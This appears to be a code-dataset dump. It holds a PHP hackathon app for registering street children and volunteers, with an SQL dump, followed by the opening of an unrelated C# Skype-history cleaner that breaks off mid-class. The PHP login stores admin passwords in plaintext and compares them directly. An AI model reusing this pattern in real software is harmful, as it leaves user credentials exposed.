autofocus> </div> </div> <div class="form-group"> <div class="col-sm-12"> <label>District:</label> <input class="form-control" type="text" id='district' name="district" placeholder="District" style="border-radius:0" autofocus> </div> </div> <div class="form-group"> <div class="col-sm-12"> <label>State:</label> <input class="form-control" type="text" id='state' name="state" placeholder="State" style="border-radius:0" autofocus> </div> </div> <div id='form_button'> <div class="col-sm-12"> <button name="login" id="submit" type="submit" value="Login" class="btn btn-default submit" style="color:white;width:100%;" >Login</button> </div> </div> </form> </section> </div> </div> </div> </div> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="<?php echo url::base() ?>bower_components/jquery/dist/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="<?php echo url::base() ?>bower_components/bootstrap/dist/js/bootstrap.min.js"></script> </body> </html><file_sep>/application/classes/Model/Admin.php <?php defined('SYSPATH') OR die('No Direct Script Access'); Class Model_Admin extends Model { // CREATE TABLE IF NOT EXISTS `admin` ( // `username` varchar(20) NOT NULL, // `name` varchar(40) NOT NULL, // `password` text NOT NULL // ) ENGINE=InnoDB DEFAULT CHARSET=latin1; public function get_admin_details($user){ $query = DB::query(Database::SELECT, 'SELECT * FROM admin WHERE username = :user'); $query->bind(':user',$user); $result = $query->execute(); $a = $result->as_array(); return $a[0]; } public function add_admin($d){ return DB::insert('admin', array('username','name','password')) ->values(array($d['user'],$d['name'],$d['password'])) ->execute(); } public function validate_admin($arr) { foreach($arr as $value){ $value = trim($value); $value = strip_tags($value); $value = HTML::chars($value); if(empty($value)) return FALSE; } return $arr; } }<file_sep>/application/classes/Controller/Welcome.php <?php defined('SYSPATH') or die('No direct script access.'); class Controller_Welcome extends Controller { public function action_index() { $view = View::factory('index'); $this->response->body($view); } public function action_login() { $view = View::factory('login'); $this->response->body($view); } public function action_home() { $view = View::factory('home'); $this->response->body($view); } public function action_volunteer() { $view = View::factory('volunteer'); $this->response->body($view); } public function action_admin() { $view = View::factory('admin'); $this->response->body($view); } public function action_places() { $view = View::factory('places'); $this->response->body($view); } } // End Welcome <file_sep>/application/views/login.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Member Login</title> <!-- Bootstrap --> <link href="<?php echo url::base() ?>bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!--FONTS--> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Raleway"> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Quicksand"> <style> #form_area { padding-top: 4%; font-family: raleway; } #form_box { padding: 4%; padding-bottom: 10%; background: #fffad5; box-shadow: 0 0 1px 3px rgba(153,59,40,0.4); } #form_header { font-size:36px; color:#fffad5; background: transparent; width: 100%; } #header_name { padding: 6%; text-align: center; font-weight:bold; } .form-group { padding: 2%; padding-top:10px; } #form_button { padding: 2%; padding-top: 20%; font-weight:bold; } label { color: #6B291C; font-weight:bold; font-size:16px; } .submit { font-size: 20px; border-radius: 0; background:#bd4932; border:0; } .submit:hover { background:#D65339; } body { background:#bd4932; } input[type='text']:focus, input[type='password']:focus { border-color:#AB3838; box-shadow:0 0 3px 1px rgba(171,56,56,0.4); } @media screen and (max-width: 800px) { #form_header { font-size:30px; } label { font-size:12px; } .submit { font-size: 18px; } .form-group { padding-top:2px; } } </style> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-3"></div> <div class="col-sm-6" id="form_area"> <div id="form_header"><div id='header_name'>Member Login</div></div> <div id='form_box'> <section> <form method="post" action="<?php echo url::base() ?>index.php/authenticate/login" class="form" onsubmit="return validate();"> <div class="form-group"> <div class="col-sm-12"> <label>Username:</label> <input class="form-control" type="text" id='username' name="username" placeholder="Username" style="border-radius:0" autofocus> </div> </div> <br><br> <div class="form-group"> <div class="col-sm-12"> <label>Password:</label> <input id="password" name="password" type="<PASSWORD>" class="form-control" placeholder="<PASSWORD>" style="border-radius:0;"> </div> </div> <?php if(isset($_GET["status"])){?> <div class="checkbox"> <label style="color:red;"> <?php if(isset($_GET["status"]) and ($_GET["status"]==0)) echo 'Login Failed. Please try again'; if(isset($_GET["status"]) and ($_GET["status"]==1)) echo 'Please Login to continue'; if(isset($_GET["status"]) and ($_GET["status"]==2)) echo 'Invalid request sent'; ?> </label> </div> <?php } ?> <div id='form_button'> <div class="col-sm-12"> <button name="login" id="submit" type="submit" value="Login" class="btn btn-default submit" style="color:white;width:100%;" >Login</button> </div> </div> </form> </section> </div> </div> <div class="col-sm-3"></div> </div> </div> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="<?php echo url::base() ?>bower_components/jquery/dist/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="<?php echo url::base() ?>bower_components/bootstrap/dist/js/bootstrap.min.js"></script> </body> </html><file_sep>/application/views/index.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Submit details</title> <!-- Bootstrap --> <link href="<?php echo url::base() ?>bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!--FONTS--> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Raleway"> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Quicksand"> <style> body { background:#FFF9A6; } .btn-primary { font-size:20px; margin-top:6%; } .panel-heading { font-size:20px; text-transform:uppercase; background:#94B8FF; color:white; border-color:#5E99FF; } #form3 { margin-top:20%; } </style> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-sm-4"></div> <div class="col-sm-4"> <!--<div class="add-member"> <center> <a href="#" class="btn btn-default" onclick = "open1()">Add new member</a> </center> </div>--> <div id='form3'> <center><h2>Child Registration form</h2></center><br> <div class='panel panel-default"'> <!--<div class="panel-heading" style="text-align:center;font-weight:bold"> Street child registration form </div>--> <div class="panel-body"> <form action='#' method='post' class="form" role='form'> <div class="form-group"> <label class="col-sm-3" for='place'>Place:</label> <div class='col-sm-9'> <select class="form-control" id='place' name="place" style="border-radius:0"> <option value="">--Select Place--</option> <option value="assagao,mapusa">Assagao, Mapusa</option> </select> </div> </div> <br><br> <div class="form-group" style="padding-top:2%"> <label class="col-sm-3" for='name'>Name:</label> <div class='col-sm-9'> <input class="form-control" name="name" id="name" placeholder="Name" style="border-radius:0"> </div> </div> <br><br> <div class="form-group"> <label class="col-sm-3" for='description'>Description:</label> <div class='col-sm-9'> <textarea class="form-control" rows="4" cols="20" name="description" id="description" placeholder="Description of the child" style="border-radius:0"></textarea> </div> </div> <div></div> <br><br> <center> <button class="btn btn-primary" type="submit">Report new child</button> </center> </form> </div> </div> </div> </div> </div> </div> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="<?php echo url::base() ?>bower_components/jquery/dist/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="<?php echo url::base() ?>bower_components/bootstrap/dist/js/bootstrap.min.js"></script> </body> </html><file_sep>/application/classes/Controller/Authenticate.php <?php defined('SYSPATH') or die('No direct script access.'); class Controller_Authenticate extends Controller { public function action_login() { session_start(); session_unset(); session_destroy(); // print_r($session->as_array()); $admin = Model::factory('admin'); if (!empty($_POST)) { $session = Session::instance(); $final = $admin->validate_admin(arr::extract($_POST,array('username','password'))); $details = $admin->get_admin_details($final['username']); // print_r($details); if(!empty($details) and $details['password']===$final['password']){ $session->set('logged_in', true); $session->set('username', $final['username']); // session_start(); $_SESSION =& $session->as_array(); HTTP::redirect('admin/'); } else echo 'invalid username or password'; } } public function action_logout() { $session = Session::instance(); $session->delete('logged_in'); $session->delete('username'); session_unset(); session_destroy(); HTTP::redirect('/'); } }<file_sep>/tara_trust.sql -- phpMyAdmin SQL Dump -- version 4.2.7.1 -- http://www.phpmyadmin.net -- -- Host: 127.0.0.1 -- Generation Time: Apr 12, 2015 at 07:14 AM -- Server version: 5.6.20 -- PHP Version: 5.5.15 SET FOREIGN_KEY_CHECKS=0; SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; drop database `tara_trust`; -- -- Database: `tara_trust` -- CREATE DATABASE IF NOT EXISTS `tara_trust` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci; USE `tara_trust`; -- -------------------------------------------------------- -- -- Table structure for table `admin` -- -- Creation: Apr 11, 2015 at 05:37 PM -- DROP TABLE IF EXISTS `admin`; CREATE TABLE IF NOT EXISTS `admin` ( `username` varchar(20) NOT NULL, `name` varchar(40) NOT NULL, `password` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Truncate table before insert `admin` -- TRUNCATE TABLE `admin`; -- -- Dumping data for table `admin` -- INSERT INTO `admin` (`username`, `name`, `password`) VALUES ('shas', '<PASSWORD>', '<PASSWORD>'); -- -------------------------------------------------------- -- -- Table structure for table `children` -- -- Creation: Apr 12, 2015 at 04:59 AM -- DROP TABLE IF EXISTS `children`; CREATE TABLE IF NOT EXISTS `children` ( `child_id` int(11) NOT NULL, `name` varchar(50) NOT NULL, `age` int(11) NOT NULL, `place` int(11) NOT NULL, `description` text NOT NULL, `assigned_to` int(11) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='Street children' AUTO_INCREMENT=2 ; -- -- Truncate table before insert `children` -- TRUNCATE TABLE `children`; -- -- Dumping data for table `children` -- INSERT INTO `children` (`child_id`, `name`, `age`, `place`, `description`, `assigned_to`) VALUES (1, 'sachin', 12, 1, 'Cleaner', 0); -- -------------------------------------------------------- -- -- Table structure for table `places` -- -- Creation: Apr 11, 2015 at 07:23 AM -- DROP TABLE IF EXISTS `places`; CREATE TABLE IF NOT EXISTS `places` ( `place_id` int(11) NOT NULL, `place` varchar(20) NOT NULL, `taluka` varchar(20) NOT NULL, `district` varchar(20) NOT NULL, `state` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='Information about places' AUTO_INCREMENT=1 ; -- -- Truncate table before insert `places` -- TRUNCATE TABLE `places`; -- -------------------------------------------------------- -- -- Table structure for table `sessions` -- -- Creation: Apr 11, 2015 at 08:41 PM -- Last update: Apr 11, 2015 at 08:41 PM -- DROP TABLE IF EXISTS `sessions`; CREATE TABLE IF NOT EXISTS `sessions` ( `session_id` varchar(24) NOT NULL, `last_active` int(10) unsigned NOT NULL, `contents` text NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=latin1; -- -- Truncate table before insert `sessions` -- TRUNCATE TABLE `sessions`; -- -------------------------------------------------------- -- -- Table structure for table `volunteer` -- -- Creation: Apr 12, 2015 at 04:51 AM -- DROP TABLE IF EXISTS `volunteer`; CREATE TABLE IF NOT EXISTS `volunteer` ( `volunteer_id` int(11) NOT NULL, `name` varchar(30) NOT NULL, `place` int(11) NOT NULL, `contact` bigint(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; -- -- Truncate table before insert `volunteer` -- TRUNCATE TABLE `volunteer`; -- -- Indexes for dumped tables -- -- -- Indexes for table `admin` -- ALTER TABLE `admin` ADD PRIMARY KEY (`username`); -- -- Indexes for table `children` -- ALTER TABLE `children` ADD PRIMARY KEY (`child_id`), ADD KEY `name` (`name`,`place`); -- -- Indexes for table `places` -- ALTER TABLE `places` ADD PRIMARY KEY (`place_id`), ADD KEY `taluka` (`taluka`,`district`); -- -- Indexes for table `sessions` -- ALTER TABLE `sessions` ADD PRIMARY KEY (`session_id`), ADD KEY `last_active` (`last_active`); -- -- Indexes for table `volunteer` -- ALTER TABLE `volunteer` ADD PRIMARY KEY (`volunteer_id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `children` -- ALTER TABLE `children` MODIFY `child_id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2; -- -- AUTO_INCREMENT for table `places` -- ALTER TABLE `places` MODIFY `place_id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `volunteer` -- ALTER TABLE `volunteer` MODIFY `volunteer_id` int(11) NOT NULL AUTO_INCREMENT;SET FOREIGN_KEY_CHECKS=1; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/application/classes/Model/Volunteer.php <?php defined('SYSPATH') OR die('No Direct Script Access'); Class Model_Volunteer extends Model { //CREATE TABLE IF NOT EXISTS `volunteer` ( //`volunteer_id` int(11) NOT NULL, // `name` varchar(30) NOT NULL, // `place` int(11) NOT NULL, // `contact` bigint(20) NOT NULL //) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; public function add_volunteer($d){ return DB::insert('volunteer', array('name','place','contact')) ->values(array($d['name'],$d['volunteer_place'],$d['contact'])) ->execute(); } public function by_place($place){ $query = DB::query(Database::SELECT, 'SELECT * FROM volunteer where place = :place'); $query->bind(':place',$place); $result = $query->execute(); return $result->as_array(); } public function in_place($place){ $query = DB::query(Database::SELECT, 'SELECT count(*) as count FROM volunteer where place = :place'); $query->bind(':place',$place); $result = $query->execute(); $array= $result->as_array(); return $array['count']; } public function validate_volunteer($arr) { foreach($arr as $value){ $value = trim($value); $value = strip_tags($value); $value = HTML::chars($value); if(empty($value)) return FALSE; } return $arr; } }<file_sep>/application/classes/Model/Children.php <?php defined('SYSPATH') OR die('No Direct Script Access'); Class Model_Children extends Model { // // DROP TABLE IF EXISTS `children`; //CREATE TABLE IF NOT EXISTS `children` ( //`child_id` int(11) NOT NULL, // `name` varchar(50) NOT NULL, // `age` int(11) NOT NULL, // `place` int(11) NOT NULL, // `description` text NOT NULL, // `assigned_to` int(11) DEFAULT NULL //) ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='Street children' AUTO_INCREMENT=2 ; public function get_children_taluka(){ $query = DB::query(Database::SELECT, 'SELECT * FROM children join places on children.place = place_id order by taluka'); $result = $query->execute(); return $result->as_array(); } public function get_children_district(){ $query = DB::query(Database::SELECT, 'SELECT * FROM children join places on children.place = place_id order by district'); $result = $query->execute(); return $result->as_array(); } public function get_children_state(){ $query = DB::query(Database::SELECT, 'SELECT * FROM children join places on children.place = place_id order by state'); $result = $query->execute(); return $result->as_array(); } public function add_child($name,$age,$place,$desc){ $query = DB::query(Database::INSERT, "INSERT INTO `tara_trust`.`children` ( `name`, `age`, `place`, `description`) VALUES (:name, :age, :place, :description );"); $query->bind(':name',$name); $query->bind(':age',$age); $query->bind(':place',$place); $query->bind(':description',$desc); return $query->execute(); //confirm how it works } public function assign_child($child,$volunteer){ $query = DB::query(Database::UPDATE, 'UPDATE `tara_trust`.`children` set assigned_to = :volunteer where child_id = :child '); $query->bind(':child',$child); $query->bind(':volunteer',$volunteer); if($query->execute()){ return true; }else{ return false; } } public function in_place($place){ $query = DB::query(Database::SELECT, 'SELECT count(*) as count FROM children where place = :place'); $query->bind(':place',$place); $result = $query->execute(); $array= $result->as_array(); return $array['count']; } }<file_sep>/README.md # tara_trust RHOK Goa april 2015 <file_sep>/application/classes/Controller/Admin.php <?php defined('SYSPATH') or die('No direct script access.'); class Controller_admin extends Controller { public function before(){ $session = Session::instance(); // print_r($_SESSION); if(!isset($_SESSION['logged_in']) or !isset($_SESSION['username']) or $_SESSION['logged_in']!=true ){ HTTP::redirect('welcome/login'); echo 'redirect unsuccessful'; } } public function action_index(){ // print_r($_POST); if(!empty($_POST)){ $children =Model::factory('children'); // print_r($_POST); switch($_POST['place']){ case 'taluka': $details = $children->get_children_taluka(); break; case 'district': $details = $children->get_children_district(); break; case 'state': $details = $children->get_children_state(); break; } // print_r($details); $view = View::factory('admin/searchchildren')->bind('details',$details); $this->response->body($view); }else{ $view = View::factory('admin/searchchildren'); $this->response->body($view); } } public function action_addvolunteer(){ if(!empty($_POST)){ $volunteer = Model::factory('volunteer'); $final=$volunteer->validate_volunteer(arr::extract($_POST,array('name','volunteer_place','contact'))); if($volunteer->add_volunteer($final)){ die('success');//success }else{ die('failure');//failure } }else{ $view = View::factory('admin/addvolunteer'); $this->response->body($view); } } public function action_addadmin(){ if(!empty($_POST)){ $admin = Model::factory('admin'); $final=$admin->validate_admin(arr::extract($_POST,array('name','user','password'))); if($admin->add_admin($final)){ die('success');//success }else{ die('failure');//failure } }else{ $view = View::factory('admin/addadmin'); $this->response->body($view); } } public function action_addplaces(){ if(!empty($_POST)){ }else{ $view = View::factory('admin/addplaces'); $this->response->body($view); } } }
8a064337feb6a93a2fa4ec00b627b33afe569c3f
[ "Markdown", "SQL", "PHP" ]
13
PHP
SSSaudagar/tara_trust
fb4a6a607b7079b08663c65362a5ae9bf07857d9
abd8a130ed802ff3cf3fd17152e4e178c0cb6122
refs/heads/main
<file_sep>def speed_drive(speed): if num<70: s="ok" return s def speed_drive(): i=0 while i<num: if num=int(input("enter a number")) was=speed_drive(num) print(was)<file_sep>def string(name): list1=name.split() i=1 rev=len(list1) k=[] while i<=rev: c=list1[-i] k.append(c) i+=1 print(k) string("<NAME>") <file_sep>def add(num1,num2 ,ope): # if ope=="+": # return num1+num2 # elif ope=="-": # return num1-num2 # # elif ope=="*": # # return num1*num2 # elif ope=="**": # return num1**num2 # elif ope=="//": # return num1//num2 # else: # return num1/num2 i=0 sume=0 read=[] while i<len(num1): sume=num1[i]*num2[i] read.append(sume) i+=1 return read # user1=int(input("enter a number")) # user2=int(input("enter a number")) # addtion=add(user1,user2,"+") # print("addtion","=",addtion) # sub=add(user1,user2,"-") # print("substration =",sub) # doc=addtion+sub # print("total",doc) multiply=add([5, 10, 50, 20], [2, 20, 3, 5],"*") print(multiply) <file_sep>def sum(num1,num2,num3): add=num1+num2+num3 def sum(): add=(num1+num2+num3)/3 return(add) average=sum() print(average) return(add) user1=int(input("enter a number")) user2=int(input("enter a number")) user3=int(input("enter a number")) average=sum(user1,user2,user3) print(average)<file_sep># def add_number_list(num1,num2): # print(num1+num2) # i=0 # sum=0 # let=[] # while len(num1)>i: # sum=num1[i]+num2[i] # let.append(sum) # i+=1 # print(let) # add_number_list([50,60,10],[10,20,13]) # def check_numbers(num1,num2): # num1=4 # num2=6 # if num1%2==0 and num2%2==0: # print("both are even") # num1=4 # num2=6 # check_numbers(num1,num2) # 1 # def check_numbers(num1,num2): # i=0 # while i<len(num1): # if num1[i]%2==0 and num2[i]%2==0: # print("both are even") # else: # print("both are not even") # i+=1 # check_numbers([2,4,6,6,30],[1,3,5,6,9]) # 55 # def add_numbers_more(number_x, number_y): # number_sum = number_x + number_y # print ("Hello from NavGurukul ;)") # return number_sum # number_sum = number_x + number_x # print ("Kya main yahan tak pahunchunga?") # return number_sum # sum6 = add_numbers_more(100, 20) def menu(day): if day == "monday": return "Butter Chicken" elif day == "tuesday": return "Mutton Chaap" else: return "Chole Bhature" print ("Kya main print ho payungi? :-(") mon_menu = menu("monday") print (mon_menu) tues_menu = menu("tuesday") print (tues_menu) fri_menu = menu("friday") print (fri_menu) <file_sep>#1 # def add(): # x=10 # y=20 # c=x+y # print(c) # add() #2 # def add(y,z): # x="girl " # c=x+y+z # print(c) # add("saloni ","chhaya") # 3 # def disp(): # name="greekyshow" # print(name) # print("welcometonavgurukul") # disp() # print ("NavGurukul") # def say_hello(): # print ("Hello!") # print ("Aap kaise ho?") # print ("Python is awesome") # say_hello() # print ("Hello…") # say_hello() # 4 # def max_of_two( x, y ): # if x > y: # return x # return y # def max_of_three( x, y, z ): # return max_of_two( x, max_of_two( y, z ) ) # print(max_of_three(3, -6, -5)) # 5 # def read(): # print("pehle baar") # read() # read() # read() # read() # read() # 6 # def read(): # i=0 # while i<100: # print("pehle baar") # i+=1 # read() # 7 # number=[3,5,7,34,2,89,2,5] # c=max(number) # print(c) # 8 # number=[1,2,3,4,5] # c=sum(number) # print(c) # 9 # un = [6, 8, 4, 3, 9, 56, 0, 34, 7, 15] # c=sorted(un) # print(c) # 10 # rev = ["Z", "A", "A", "B", "E", "M", "A", "R", "D"] # print(reversed(rev)) # 11 # def sum(): # print(12 + 13) # sum() # 12 # numbers_list = [1, 2, 3, 4, 5, 6, 7, 10, -2] # print (max(numbers_list)) # 13 # def greet(*names): # for name in names: # print("Welcome", name) # greet("Rinki", "Vishal", "Kartik", "Bijender") # 14 # def say_hello(name): # print ("Hello ", name) # print ("Aap kaise ho?") # say_hello("Aatif","saloni") # 15 # def add_numbers(number1, number2): # print ("Main do numbers ko add karunga.") # print (number1 + number2) # add_numbers(120, 50) # num_x = 134 # name = 6 # add_numbers(num_x, name) # 16 # def say_hello_people(name_x, name_y, name_z, name_a): # print ("Namaste ", name_x) # hindi mein # print ("<NAME> ", name_y) # urdu mein # print ("Bonjour ", name_z) # french mein # print ("Hello ", name_a) # english mein # say_hello_people("Imitiyaz", "Rishabh", "Rahul", "Vidya") # say_hello_people("Steve", "Saswata", "Shakrundin", "Rajeev") # 17 # def attendance(name,status="absent"): # print(name,"is",status," today") # attendance("kartik","present") # attendance("sonu") # attendance("vishal","present") # attendance("umesh") # def info(name, age = "30"): # print(name + " is " + age + " years old") # info("Sonu") # info("Sana", "17") # info("Umesh", "18") # def studentDetails(name,currentMilestone,mentorName): # print("Hello " , name, "your" , currentMilestone, "concept " , "is clear with the help of ", mentorName) # studentDetails("Nilam","loop","kritika") # 20 # def name(name,status): # print(name+"aur "+status) # name("my name is Rishab ","Main NavGurukul ka co-Founder hun.") # 21 # def student(*list_of_student): # print("list of student=",list_of_student) # student("saloni","karuna","chhaya","nikki","shivi") # 22 def isGreaterThen20(amount,sec=20): print(amount,sec) isGreaterThen20(200,7) <file_sep> def eligiable_age(age): def age2(): if age>18: print("eligable" else: print("not eligable") age2() user1=int(input("enter a number")) eligiable_age(user1) <file_sep>def even(limit): i=0 while i<num: if i%2==0: print("even",i) i+=1 def odd(): i=0 while i<num: if i%2!=0: print("odd",i) i+=1 odd() num=int(input("enter a number")) even(num)
c5cae918cfebfa0b826ad086876e4b33fb823ae3
[ "Python" ]
8
Python
saloni-080601/function
9a719059d82cfc5bfcaf578ac4347e2889748a68
9ca393f61a6abbdc249dc55e28cdf7d3822bf0bc
refs/heads/master
<file_sep>public class Engine { private String[][] board; private String[] symbols; private static final int BOARD_SIZE = 3; public Engine(String symbol1, String symbol2) { this.board = new String[BOARD_SIZE][BOARD_SIZE]; for (int row = 0; row < BOARD_SIZE; row++) { for (int col = 0; col < BOARD_SIZE; col++) { board[row][col] = " "; } } this.symbols = new String[2]; this.symbols[0] = symbol1; this.symbols[1] = symbol2; } public int[] parseInput(String input) { if (input.length() != 2) { return null; } int row = input.charAt(0) - 'a'; int col = input.charAt(1) - '1'; if (row >= BOARD_SIZE || col >= BOARD_SIZE) { return null; } if (!board[row][col].equals(" ")) { return null; } int[] coordinates = { row, col }; return coordinates; } public void printBoard() { for (int row = 0; row < BOARD_SIZE; row++) { System.out.print((char) ('a' + row)); System.out.print(" "); for (int col = 0; col < BOARD_SIZE; col++) { System.out.print(board[row][col]); if (col < 2) System.out.print("|"); } System.out.println(); if (row < 2) System.out.println(" -+-+-"); } System.out.println(" 1 2 3"); } // TODO: Complete this method // Player is either 0 or 1, row and column are valid and empty public void playerTurn(int player, int row, int col) { this.board[row][col] = this.symbols[player]; } // TODO: Complete this method // Return true if the board is full // Return false if not public boolean checkTie() { return true; } public int checkWinner() { // Rows and columns for (int i = 0; i < BOARD_SIZE; i++) { if (!board[i][0].equals(" ") && board[i][0].equals(board[i][1]) && board[i][0].equals(board[i][2])) { if (board[i][0].equals("X")) { return 1; } else { return 2; } } if (!board[0][i].equals(" ") && board[0][i].equals(board[1][i]) && board[0][i].equals(board[2][i])) { if (board[0][i].equals("X")) { return 1; } else { return 2; } } } // Diagonal left to right if (!board[0][0].equals(" ") && board[0][0].equals(board[1][1]) && board[1][1].equals(board[2][2])) { if (board[0][0].equals("X")) { return 1; } else { return 2; } } // Diagonal right to left if (!board[0][2].equals(" ") && board[0][2].equals(board[1][1]) && board[1][1].equals(board[2][0])) { if (board[0][2].equals("X")) { return 1; } else { return 2; } } return 0; } }<file_sep># learn-git ## Background This is a simple game of tic-tac-toe with all parts implemented except for two methods. At this time, it does not: - take a player's move and add it to the board - correctly check for a tied game when there is no winner Your job is to find a partner and implement each method individually, then review each other's code and merge them using Git. ## Instructions 1. Fork the repository 2. Add your partner as a collaborator in your forked repo 3. Clone the repository to your local machine 4. Create your own branch where you implement and test EITHER `playerTurn(...)` OR `checkTie()` 5. Create pull requests into master (make sure to select your own repo) and review your partner's code before you merge 6. Ask questions! :)
7275b5027eef69fd7ff0f3c289493bd96c29c2ad
[ "Markdown", "Java" ]
2
Java
adz00/learn-git
b208657fbb6e7d2848dc9f32fbd198da2dc9a92e
1d8cad27ace023db4b8862ab369877fc101ffdf1
refs/heads/master
<repo_name>ninjaboy/occamrazor<file_sep>/Skypel.Toolset/Interfaces/Entities/IChatRecipient.cs namespace SkypelToolset.Interfaces.Entities { public interface IChatRecipient { string DisplayName { get; } string ChatToken { get; } } }<file_sep>/OccamRazor/Program.cs using System; using System.Collections.Generic; using System.Data.SQLite; using System.Windows.Forms; using SkypelToolset; using SkypelToolset.Database; using SkypelToolset.Interfaces; using SkypelToolset.Interfaces.Database; using SkypelToolset.Interfaces.Entities; using Skypel = SkypelToolset.Skypel; namespace OccamRazor { static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } } <file_sep>/Skypel.Toolset/UnixEpochHelper.cs using System; namespace SkypelToolset { public static class UnixEpochHelper { public static long ToUnixEpoch(DateTime dateTime) { return (long) (dateTime - new DateTime(1970, 1, 1).ToLocalTime()).TotalSeconds; } public static long UnixEpoch() { return 0; } public static DateTime FromUnixEpoch(long epochTime) { var result = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc); result = result.AddSeconds(epochTime); return result; } } }<file_sep>/Skypel.Toolset/Interfaces/Database/ISkypelDataService.cs using System.Collections.Generic; using SkypelToolset.Interfaces.Entities; namespace SkypelToolset.Interfaces.Database { public interface ISkypelDataService { IList<IChatRecipient> GetAllRecipients(); void CleanHistory(string chatName); void CleanHistory(string chatToken, long startTimeStamp, long endTimeStamp); int GetMessagesCount(string chatToken, long startTimeStamp, long endTimeStamp); } }<file_sep>/Skypel.Toolset/Interfaces/ISkypelAccountDescription.cs namespace SkypelToolset.Interfaces { public interface ISkypelAccountDescription { string Name { get; } string DbPath { get; } } }<file_sep>/Skypel.Toolset/Database/ChatRecipient.cs using SkypelToolset.Interfaces.Entities; namespace SkypelToolset.Database { public class ChatRecipient : IChatRecipient { private string _displayName; public string DisplayName { get { return string.IsNullOrEmpty(_displayName.Trim()) ? ChatToken : _displayName; } set { _displayName = value; } } public string ChatToken { get; set; } } }<file_sep>/Skypel.Toolset/Skypel.cs using System; using System.Collections.Generic; using System.IO; using SkypelToolset.Interfaces; using SkypelToolset.Interfaces.Database; using SkypelToolset.Interfaces.Entities; namespace SkypelToolset { public class Skypel { private const string DefaultAccDir = @"c:\Users\{0}\AppData\Roaming\Skype\"; private readonly ISkypelDataService _dataService; public Skypel(ISkypelDataService dataService) { _dataService = dataService; } public static List<ISkypelAccountDescription> GetAccounts() { List<ISkypelAccountDescription> result = new List<ISkypelAccountDescription>(); string currentUser = Environment.UserName; string accountsDir = string.Format(DefaultAccDir, currentUser); if (!Directory.Exists(accountsDir)) { throw new Exception("Skype accounts directory cannot be found"); } string[] directories = Directory.GetDirectories(accountsDir); List<string> predefinedIgnoredItems = new List<string> { "Content", "DbTemp", "My Skype Received Files", "Pictures", "shared_dynco", "shared_httpfe" }; foreach (var directory in directories) { string nameOnly = new DirectoryInfo(directory).Name; if (!predefinedIgnoredItems.Contains(nameOnly)) { result.Add(new SkypelAccountDescription { Name = nameOnly, DbPath = Path.Combine(directory, "main.db") }); } } return result; } public IList<IChatRecipient> LoadRecipients() { IList<IChatRecipient> chatRecipients = _dataService.GetAllRecipients(); return chatRecipients; } public void CleanHistory(string chatName) { _dataService.CleanHistory(chatName); } public void CleanHistoryAll() { foreach (var recipient in LoadRecipients()) { _dataService.CleanHistory(recipient.ChatToken); } } public int GetMessagesCount(IChatRecipient currentRecipient, long startTime, long endTime) { return _dataService.GetMessagesCount(currentRecipient.ChatToken, startTime, endTime); } public void CleanHistory(string chatToken, long startTimeStamp, long endTimeStamp) { _dataService.CleanHistory(chatToken, startTimeStamp, endTimeStamp); } } } <file_sep>/README.md occamrazor ========== Tool to cleanup Skype history This is a quick hack tool made to cleanup local Skype jistory for selected account for specific chats with ability to filter by start and end date time. Please be aware that this tool only cleans up Skype history on a local machine. Skype keeps history in the cloud, so it might sync your chat on another device even if you perform local cleanup using this tool. <file_sep>/Skypel.Toolset/Database/SkypelDataService.cs using System; using System.Collections.Generic; using System.Data; using System.IO; using SkypelToolset.Interfaces; using SkypelToolset.Interfaces.Database; using SkypelToolset.Interfaces.Entities; using System.Data.SQLite; namespace SkypelToolset.Database { public class SkypelDataService : ISkypelDataService { private readonly ISkypelAccountDescription _currentAccount; public 